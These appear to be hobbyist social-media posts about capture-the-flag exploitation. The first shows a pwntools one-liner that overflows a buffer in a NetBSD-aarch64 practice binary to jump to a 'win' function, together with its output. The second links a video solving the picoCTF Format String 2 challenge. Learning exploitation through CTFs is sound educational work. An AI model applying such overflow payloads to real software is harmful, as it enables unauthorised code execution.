This afternoon's fun: pwning NetBSD-aarch64 (ARM)

(venv-pwn) qnetbsd$ python3 -c 'from pwn import * ; p = b"A" * 16 + p64(0x2001009f4); sys.stdout.buffer.write(p)' | ./win2
What is your name? Hello AAAAAAAAAAAAAAAA�
Goodbye, winner.

Finally got around to install Linux/x86 binutils on my Apple Silicon Mac, so pwntools is happy to give me proper x86 shell code.

Remember, kids: not all the word is either Linux or x86

SaturdayMP Show 66: picoCTF Format String 2 (Solved in One Long Video)

https://youtu.be/3dNMOff-Gp0

In this episode I solve the @picoCTF Format String 2 problem in my longest video yet. Jump right to the end if you want to see the solution which used pwntools.

I think it gave me the knowledge to solve Format String 3, which I haven't solved yet: https://youtu.be/AT8w2fsgzsA. That said, I'm still struggling to picture the layout of variables on the stack.
